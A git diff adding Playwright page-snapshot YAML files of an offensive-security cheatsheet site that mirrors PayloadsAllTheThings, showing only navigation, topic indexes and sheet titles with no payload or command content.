+            - generic [ref=f3e1334]: payload
+            - generic [ref=f3e1338]: XS-Leak
+            - generic [ref=f3e1339]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f3e1343] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f3e1344]:
+            - generic [ref=f3e1345]: "61"
+            - generic [ref=f3e1346]: payload
+            - generic [ref=f3e1350]: XSLT Injection
+            - generic [ref=f3e1351]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f3e1355] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f3e1356]:
+            - generic [ref=f3e1357]: "62"
+            - generic [ref=f3e1358]: payload
+            - generic [ref=f3e1362]: XSS Injection
+            - generic [ref=f3e1363]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f3e1367] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f3e1368]:
+            - generic [ref=f3e1369]: "63"
+            - generic [ref=f3e1370]: payload
+            - generic [ref=f3e1374]: XXE Injection
+            - generic [ref=f3e1375]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f3e1379] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f3e1380]:
+            - generic [ref=f3e1381]: "64"
+            - generic [ref=f3e1382]: payload
+            - generic [ref=f3e1386]: Zip Slip
+            - generic [ref=f3e1387]: 1 page
+  - contentinfo [ref=f3e1391]:
+    - generic [ref=f3e1392]:
+      - generic [ref=f3e1393]:
+        - link "DÆMON // SEC" [ref=f3e1394] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f3e1395]: //
+          - text: SEC
+        - paragraph [ref=f3e1396]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f3e1397]:
+        - link "daemon-404.github.io β†—" [ref=f3e1398] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f3e1399] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f3e1400]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f3e1401] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f3e1402] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f3e1403]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f3e1404]: RosΓ© Pine Β· Astro Β· Pagefind
+  - generic [ref=f3e1405]: Payloads — PayloadsAllTheThings mirror — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-08-19-047Z.yml b/.playwright-mcp/page-2026-08-10T08-08-19-047Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f6e1]:
+  - banner [ref=f6e2]:
+    - generic [ref=f6e3]:
+      - link "DÆMON//SEC home" [ref=f6e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e5]: //
+        - text: SEC
+        - generic [ref=f6e6]: _
+      - navigation "Primary" [ref=f6e7]:
+        - link "01 Vault" [ref=f6e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e9]: "01"
+          - generic [ref=f6e10]: Vault
+        - link "02 Payloads" [ref=f6e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e12]: "02"
+          - generic [ref=f6e13]: Payloads
+        - link "03 Tags" [ref=f6e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e15]: "03"
+          - generic [ref=f6e16]: Tags
+        - link "04 Credits" [ref=f6e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e18]: "04"
+          - generic [ref=f6e19]: Credits
+      - generic [ref=f6e20]:
+        - button "Search cheatsheets" [ref=f6e21] [cursor=pointer]:
+          - generic [ref=f6e24]: Search
+          - generic [ref=f6e25]: /
+        - button "Toggle theme" [ref=f6e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e37]:
+    - generic [ref=f6e39]:
+      - generic [ref=f6e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f6e42]:
+          - generic [ref=f6e43]: D
+          - generic [ref=f6e44]: Γ†
+          - generic [ref=f6e45]: M
+          - generic [ref=f6e46]: O
+          - generic [ref=f6e47]: "N"
+        - paragraph [ref=f6e49]:
+          - generic [ref=f6e50]: The cheatsheet vault
+      - generic [ref=f6e52]:
+        - generic [ref=f6e53]:
+          - generic [ref=f6e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f6e55]
+          - paragraph [ref=f6e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f6e57]:
+            - button "Search the vault" [ref=f6e58] [cursor=pointer]
+            - link "Payloads" [ref=f6e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f6e66]:
+          - generic [ref=f6e67]:
+            - generic [ref=f6e68]:
+              - generic [ref=f6e69]: daemon@sec
+              - generic [ref=f6e70]: ~
+              - generic [ref=f6e71]: "%"
+              - generic [ref=f6e72]: whoami --vault
+            - generic [ref=f6e74]:
+              - term [ref=f6e75]: scope
+              - definition [ref=f6e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f6e77]: format
+              - definition [ref=f6e78]: Copy-ready commands, current tool flags
+              - term [ref=f6e79]: search
+              - definition [ref=f6e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f6e81]: license
+              - definition [ref=f6e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f6e83]:
+            - generic [ref=f6e84]:
+              - term [ref=f6e85]: Curated cheatsheets
+              - definition [ref=f6e86]:
+                - text: "07"
+                - generic [ref=f6e87]: Curatedcheatsheets
+            - generic [ref=f6e88]:
+              - term [ref=f6e89]: Operator domains
+              - definition [ref=f6e90]:
+                - text: "00"
+                - generic [ref=f6e91]: Operatordomains
+            - generic [ref=f6e92]:
+              - term [ref=f6e93]: Mirrored payload pages
+              - definition [ref=f6e94]:
+                - text: "05"
+                - generic [ref=f6e95]: Mirroredpayload pages
+    - region "Domains" [ref=f6e96]:
+      - generic [ref=f6e97]: "^: Index"
+      - generic [ref=f6e101]:
+        - generic [ref=f6e102]:
+          - generic [ref=f6e103]:
+            - generic [ref=f6e104]: "01"
+            - generic [ref=f6e105]: AD
+            - generic [ref=f6e109]: Active Directory
+            - generic [ref=f6e110]: 130 sheets
+          - generic [ref=f6e111]:
+            - generic [ref=f6e112]: "02"
+            - generic [ref=f6e113]: ENUM
+            - generic [ref=f6e117]: Enumeration
+            - generic [ref=f6e118]: 18 sheets
+          - generic [ref=f6e119]:
+            - generic [ref=f6e120]: "03"
+            - generic [ref=f6e121]: PWN
+            - generic [ref=f6e125]: Exploitation
+            - generic [ref=f6e126]: 7 sheets
+          - generic [ref=f6e127]:
+            - generic [ref=f6e128]: "04"
+            - generic [ref=f6e129]: PRIV
+            - generic [ref=f6e133]: Privilege Escalation
+            - generic [ref=f6e134]: 2 sheets
+          - generic [ref=f6e135]:
+            - generic [ref=f6e136]: "05"
+            - generic [ref=f6e137]: CRED
+            - generic [ref=f6e141]: Password Attacks
+            - generic [ref=f6e142]: 3 sheets
+          - generic [ref=f6e143]:
+            - generic [ref=f6e144]: "06"
+            - generic [ref=f6e145]: WEB
+            - generic [ref=f6e149]: Web
+            - generic [ref=f6e150]: 9 sheets
+          - generic [ref=f6e151]:
+            - generic [ref=f6e152]: "07"
+            - generic [ref=f6e153]: PIVOT
+            - generic [ref=f6e157]: Tunneling & Pivoting
+            - generic [ref=f6e158]: 6 sheets
+          - generic [ref=f6e159]:
+            - generic [ref=f6e160]: "08"
+            - generic [ref=f6e161]: CRYPTO
+            - generic [ref=f6e165]: Cryptography
+            - generic [ref=f6e166]: 3 sheets
+          - generic [ref=f6e167]:
+            - generic [ref=f6e168]: "09"
+            - generic [ref=f6e169]: DFIR
+            - generic [ref=f6e173]: DFIR
+            - generic [ref=f6e174]: 4 sheets
+          - generic [ref=f6e175]:
+            - generic [ref=f6e176]: "10"
+            - generic [ref=f6e177]: TOOL
+            - generic [ref=f6e181]: Tools
+            - generic [ref=f6e182]: 18 sheets
+          - generic [ref=f6e183]:
+            - generic [ref=f6e184]: "11"
+            - generic [ref=f6e185]: NIX
+            - generic [ref=f6e189]: Linux & IT
+            - generic [ref=f6e190]: 9 sheets
+          - generic [ref=f6e191]:
+            - generic [ref=f6e192]: "12"
+            - generic [ref=f6e193]: GIT
+            - generic [ref=f6e197]: Git & Workflow
+            - generic [ref=f6e198]: 5 sheets
+        - generic [ref=f6e199]:
+          - generic [ref=f6e200]:
+            - generic [ref=f6e201]: "01"
+            - generic [ref=f6e202]: AD
+            - generic [ref=f6e206]: Active Directory
+            - generic [ref=f6e207]: 130 sheets
+          - generic [ref=f6e208]:
+            - generic [ref=f6e209]: "02"
+            - generic [ref=f6e210]: ENUM
+            - generic [ref=f6e214]: Enumeration
+            - generic [ref=f6e215]: 18 sheets
+          - generic [ref=f6e216]:
+            - generic [ref=f6e217]: "03"
+            - generic [ref=f6e218]: PWN
+            - generic [ref=f6e222]: Exploitation
+            - generic [ref=f6e223]: 7 sheets
+          - generic [ref=f6e224]:
+            - generic [ref=f6e225]: "04"
+            - generic [ref=f6e226]: PRIV
+            - generic [ref=f6e230]: Privilege Escalation
+            - generic [ref=f6e231]: 2 sheets
+          - generic [ref=f6e232]:
+            - generic [ref=f6e233]: "05"
+            - generic [ref=f6e234]: CRED
+            - generic [ref=f6e238]: Password Attacks
+            - generic [ref=f6e239]: 3 sheets
+          - generic [ref=f6e240]:
+            - generic [ref=f6e241]: "06"
+            - generic [ref=f6e242]: WEB
+            - generic [ref=f6e246]: Web
+            - generic [ref=f6e247]: 9 sheets
+          - generic [ref=f6e248]:
+            - generic [ref=f6e249]: "07"
+            - generic [ref=f6e250]: PIVOT
+            - generic [ref=f6e254]: Tunneling & Pivoting
+            - generic [ref=f6e255]: 6 sheets
+          - generic [ref=f6e256]:
+            - generic [ref=f6e257]: "08"
+            - generic [ref=f6e258]: CRYPTO
+            - generic [ref=f6e262]: Cryptography
+            - generic [ref=f6e263]: 3 sheets
+          - generic [ref=f6e264]:
+            - generic [ref=f6e265]: "09"
+            - generic [ref=f6e266]: DFIR
+            - generic [ref=f6e270]: DFIR
+            - generic [ref=f6e271]: 4 sheets
+          - generic [ref=f6e272]:
+            - generic [ref=f6e273]: "10"
+            - generic [ref=f6e274]: TOOL
+            - generic [ref=f6e278]: Tools
+            - generic [ref=f6e279]: 18 sheets
+          - generic [ref=f6e280]:
+            - generic [ref=f6e281]: "11"
+            - generic [ref=f6e282]: NIX
+            - generic [ref=f6e286]: Linux & IT
+            - generic [ref=f6e287]: 9 sheets
+          - generic [ref=f6e288]:
+            - generic [ref=f6e289]: "12"
+            - generic [ref=f6e290]: GIT
+            - generic [ref=f6e294]: Git & Workflow
+            - generic [ref=f6e295]: 5 sheets
+      - generic [ref=f6e296]: 12 domains
+    - generic [ref=f6e298]:
+      - generic [ref=f6e300]:
+        - paragraph [ref=f6e301]:
+          - generic [ref=f6e302]: "01"
+          - generic [ref=f6e303]: "^:"
+          - generic [ref=f6e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f6e306]
+      - generic [ref=f6e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f6e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f6e309]:
+            - generic [ref=f6e310]: AD
+            - generic [ref=f6e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f6e312]
+          - paragraph [ref=f6e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f6e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f6e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f6e318]:
+            - generic [ref=f6e319]: ENUM
+            - generic [ref=f6e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f6e321]
+          - paragraph [ref=f6e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f6e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f6e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f6e327]:
+            - generic [ref=f6e328]: PWN
+            - generic [ref=f6e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f6e330]
+          - paragraph [ref=f6e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f6e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f6e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f6e336]:
+            - generic [ref=f6e337]: PRIV
+            - generic [ref=f6e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f6e339]
+          - paragraph [ref=f6e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f6e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f6e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f6e345]:
+            - generic [ref=f6e346]: CRED
+            - generic [ref=f6e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f6e348]
+          - paragraph [ref=f6e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f6e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f6e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f6e354]:
+            - generic [ref=f6e355]: WEB
+            - generic [ref=f6e356]: "06"
+          - heading "Web" [level=3] [ref=f6e357]
+          - paragraph [ref=f6e358]: XSS, injection, and web application testing.
+          - generic [ref=f6e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f6e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f6e363]:
+            - generic [ref=f6e364]: PIVOT
+            - generic [ref=f6e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f6e366]
+          - paragraph [ref=f6e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f6e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f6e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f6e372]:
+            - generic [ref=f6e373]: CRYPTO
+            - generic [ref=f6e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f6e375]
+          - paragraph [ref=f6e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f6e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f6e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f6e381]:
+            - generic [ref=f6e382]: DFIR
+            - generic [ref=f6e383]: "09"
+          - heading "DFIR" [level=3] [ref=f6e384]
+          - paragraph [ref=f6e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f6e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f6e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f6e390]:
+            - generic [ref=f6e391]: TOOL
+            - generic [ref=f6e392]: "10"
+          - heading "Tools" [level=3] [ref=f6e393]
+          - paragraph [ref=f6e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f6e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f6e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f6e399]:
+            - generic [ref=f6e400]: NIX
+            - generic [ref=f6e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f6e402]
+          - paragraph [ref=f6e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f6e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f6e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f6e408]:
+            - generic [ref=f6e409]: GIT
+            - generic [ref=f6e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f6e411]
+          - paragraph [ref=f6e412]: Version control and operator workflow.
+          - generic [ref=f6e413]: 5 sheets
+    - link [ref=f6e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f6e417]:
+        - generic [ref=f6e418]:
+          - paragraph [ref=f6e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f6e420]
+          - paragraph [ref=f6e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f6e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f6e423]: Browse payloads
+    - generic [ref=f6e427]:
+      - generic [ref=f6e428]:
+        - generic [ref=f6e429]:
+          - paragraph [ref=f6e430]:
+            - generic [ref=f6e431]: "03"
+            - generic [ref=f6e432]: "^:"
+            - generic [ref=f6e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f6e434]
+        - link "All tags" [ref=f6e435] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f6e438]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f6e439] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f6e440]:
+            - generic [ref=f6e441]: "01"
+            - generic [ref=f6e442]: ENUM
+            - generic [ref=f6e446]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f6e447]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f6e451] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f6e452]:
+            - generic [ref=f6e453]: "02"
+            - generic [ref=f6e454]: ENUM
+            - generic [ref=f6e458]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f6e459]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f6e463] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f6e464]:
+            - generic [ref=f6e465]: "03"
+            - generic [ref=f6e466]: AD
+            - generic [ref=f6e470]: Active-Directory_cheat_sheet
+            - generic [ref=f6e471]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f6e475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f6e476]:
+            - generic [ref=f6e477]: "04"
+            - generic [ref=f6e478]: ENUM
+            - generic [ref=f6e482]: Anonymous Null Testing
+            - generic [ref=f6e483]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f6e487] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f6e488]:
+            - generic [ref=f6e489]: "05"
+            - generic [ref=f6e490]: AD
+            - generic [ref=f6e494]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f6e495]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f6e499] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f6e500]:
+            - generic [ref=f6e501]: "06"
+            - generic [ref=f6e502]: AD
+            - generic [ref=f6e506]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f6e507]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f6e511] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f6e512]:
+            - generic [ref=f6e513]: "07"
+            - generic [ref=f6e514]: AD
+            - generic [ref=f6e518]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f6e519]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f6e523] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f6e524]:
+            - generic [ref=f6e525]: "08"
+            - generic [ref=f6e526]: AD
+            - generic [ref=f6e530]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f6e531]: 2026-08-10
+  - contentinfo [ref=f6e535]:
+    - generic [ref=f6e536]:
+      - generic [ref=f6e537]:
+        - link "DÆMON // SEC" [ref=f6e538] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e539]: //
+          - text: SEC
+        - paragraph [ref=f6e540]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e541]:
+        - link "daemon-404.github.io β†—" [ref=f6e542] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e543] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e544]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e545] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e546] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e547]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e548]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-08-25-147Z.yml b/.playwright-mcp/page-2026-08-10T08-08-25-147Z.yml
@@ -0,0 +1,546 @@
+- generic [active] [ref=f6e549]:
+  - banner [ref=f6e550]:
+    - generic [ref=f6e551]:
+      - link "DÆMON//SEC home" [ref=f6e552] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e553]: //
+        - text: SEC
+        - generic [ref=f6e554]: _
+      - navigation "Primary" [ref=f6e555]:
+        - link "01 Vault" [ref=f6e556] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e557]: "01"
+          - generic [ref=f6e558]: Vault
+        - link "02 Payloads" [ref=f6e559] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e560]: "02"
+          - generic [ref=f6e561]: Payloads
+        - link "03 Tags" [ref=f6e562] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e563]: "03"
+          - generic [ref=f6e564]: Tags
+        - link "04 Credits" [ref=f6e565] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e566]: "04"
+          - generic [ref=f6e567]: Credits
+      - generic [ref=f6e568]:
+        - button "Search cheatsheets" [ref=f6e569] [cursor=pointer]:
+          - generic [ref=f6e572]: Search
+          - generic [ref=f6e573]: /
+        - button "Toggle theme" [ref=f6e574] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e579] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e582] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e585]:
+    - generic [ref=f6e588]:
+      - generic [ref=f6e589]:
+        - paragraph [ref=f6e590]:
+          - generic [ref=f6e591]: "02"
+          - generic [ref=f6e592]: "^:"
+          - generic [ref=f6e593]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f6e595]
+        - paragraph [ref=f6e596]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f6e597]:
+        - generic [ref=f6e598]:
+          - term [ref=f6e599]: Topics
+          - definition [ref=f6e600]: "64"
+        - generic [ref=f6e601]:
+          - term [ref=f6e602]: Pages
+          - definition [ref=f6e603]: "135"
+        - generic [ref=f6e604]:
+          - term [ref=f6e605]: License
+          - definition [ref=f6e606]: MIT
+    - generic [ref=f6e607]:
+      - navigation [ref=f6e608]:
+        - link "~" [ref=f6e609] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f6e610]: /
+        - generic [ref=f6e611]: payloads
+      - complementary [ref=f6e612]:
+        - generic [ref=f6e613]: mirror
+        - generic [ref=f6e614]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f6e615]: source
+          - text: link.
+          - generic [ref=f6e616]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f6e617] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f6e618]: 3bff425
+        - link "upstream" [ref=f6e619] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f6e621]:
+        - link "01 payload Account Takeover 2 pages" [ref=f6e622] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f6e623]:
+            - generic [ref=f6e624]: "01"
+            - generic [ref=f6e625]: payload
+            - generic [ref=f6e629]: Account Takeover
+            - generic [ref=f6e630]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f6e634] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f6e635]:
+            - generic [ref=f6e636]: "02"
+            - generic [ref=f6e637]: payload
+            - generic [ref=f6e641]: API Key Leaks
+            - generic [ref=f6e642]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f6e646] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f6e647]:
+            - generic [ref=f6e648]: "03"
+            - generic [ref=f6e649]: payload
+            - generic [ref=f6e653]: Brute Force Rate Limit
+            - generic [ref=f6e654]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f6e658] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f6e659]:
+            - generic [ref=f6e660]: "04"
+            - generic [ref=f6e661]: payload
+            - generic [ref=f6e665]: Business Logic Errors
+            - generic [ref=f6e666]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f6e670] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f6e671]:
+            - generic [ref=f6e672]: "05"
+            - generic [ref=f6e673]: payload
+            - generic [ref=f6e677]: Clickjacking
+            - generic [ref=f6e678]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f6e682] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f6e683]:
+            - generic [ref=f6e684]: "06"
+            - generic [ref=f6e685]: payload
+            - generic [ref=f6e689]: Client Side Path Traversal
+            - generic [ref=f6e690]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f6e694] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f6e695]:
+            - generic [ref=f6e696]: "07"
+            - generic [ref=f6e697]: payload
+            - generic [ref=f6e701]: Command Injection
+            - generic [ref=f6e702]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f6e706] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f6e707]:
+            - generic [ref=f6e708]: "08"
+            - generic [ref=f6e709]: payload
+            - generic [ref=f6e713]: CORS Misconfiguration
+            - generic [ref=f6e714]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f6e718] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f6e719]:
+            - generic [ref=f6e720]: "09"
+            - generic [ref=f6e721]: payload
+            - generic [ref=f6e725]: CRLF Injection
+            - generic [ref=f6e726]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f6e730] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f6e731]:
+            - generic [ref=f6e732]: "10"
